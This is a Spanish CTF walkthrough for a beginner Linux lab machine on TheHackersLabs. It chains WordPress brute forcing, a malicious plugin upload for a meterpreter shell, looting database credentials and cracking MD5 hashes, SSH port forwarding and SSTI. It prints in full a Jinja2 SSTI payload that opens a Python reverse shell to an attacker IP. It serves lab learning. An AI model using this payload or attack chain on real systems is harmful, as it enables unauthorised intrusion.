Write-ups

Resolución del CTF THEFIRSTAVENGER

💢Plataforma:. TheHackersLabs 💢

❌Nombre: TheFirstAvenger
📈Nivel: Principiante
💻OS: Linux
🙋🏽‍♂️Creador: TTyler
https://thehackerslabs.com/thefirstavenger/

Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • -sC : Realiz una escaneo con los scripts basicos de reconocimiento
  • -sV : Realiza un escaneo en buqueda de los servicios
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.

Antes de nada fuzearemos en este caso para ver que nos econtramos en la parte web

Tenemos un index que nos da la bienvenida.

Y gracias al fuzzeo sabemos que nos encontramos ante un wordpress.

Haremos una enumeración completa utilizando un token con wpscan.

Y podemos enumerar una vulnerabilidad de LFI y el usuario admin.

Con wpscan haremos fuerza fruta usando rockyou.

Obteniendo la contraseña de acceso.

Con la herramienta wordpwn y teniendo credenciales validad, podremos tener una carga útil para obtener acceso al servidor.

En esta caso nos genera un zip el cual tenemos que subir como si fuese un plugin.

Asi que lo subimos, lo activamos.

Y nos iremos a la ruta indicada en wordpwn, que nos genera una sesión con meterpreter.

Pero podemos ejecutar una shell.

Navegando entre directorios nos encontramos con el archivo de configuración de WordPress, con las credenciales de la base de datos.

Accederemos de forma local a la base de datos y solicitamos que nos muestre las bases de datos que hay.

usaremos la base de datos de top_secret y solicitaremos que nos muestre todo lo que hay en la tabla avengers, que por sorpresa encontramos usuarios y contraseñas hasheadas en md5.

Pero antes veremos que usuarios hay en la maquina.

Así que iremos directamente de primeras a por el hash de Steve y lo decodearemos en crackstation.

Una vez conseguida la contraseña entramos por ssh.

Investigando, nos encontramos que el puerto 7092 esta corriendo de forma local.

Por lo cial haremos un port forwarding con ssh puesto que tenemos credenciales, en este caso le indicamos que queremos traernos el puerto 7092 de la maquina victima al puerto 7092 de nuestro localhost.

Por lo que nos iremos a localhost de nuestro host por el puerto 7092.

Probando intrusiones validas ejecutaremos u 7*7 que s una operación aritmética para detectar la vulnerabilidad Server Side Template Inejction(SSTi).

Y al completar con éxito la operación sabemos que estamos ante un SSTI.

En Payloads all the things usaremos el paylaod de Jinja2 popup cambiando en cat por el bash y poniendo nuestra ip y puerto que tenemos a la escucha.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.2.11\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Lo ejecutaremos.

Y Obtenemos el acceso.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *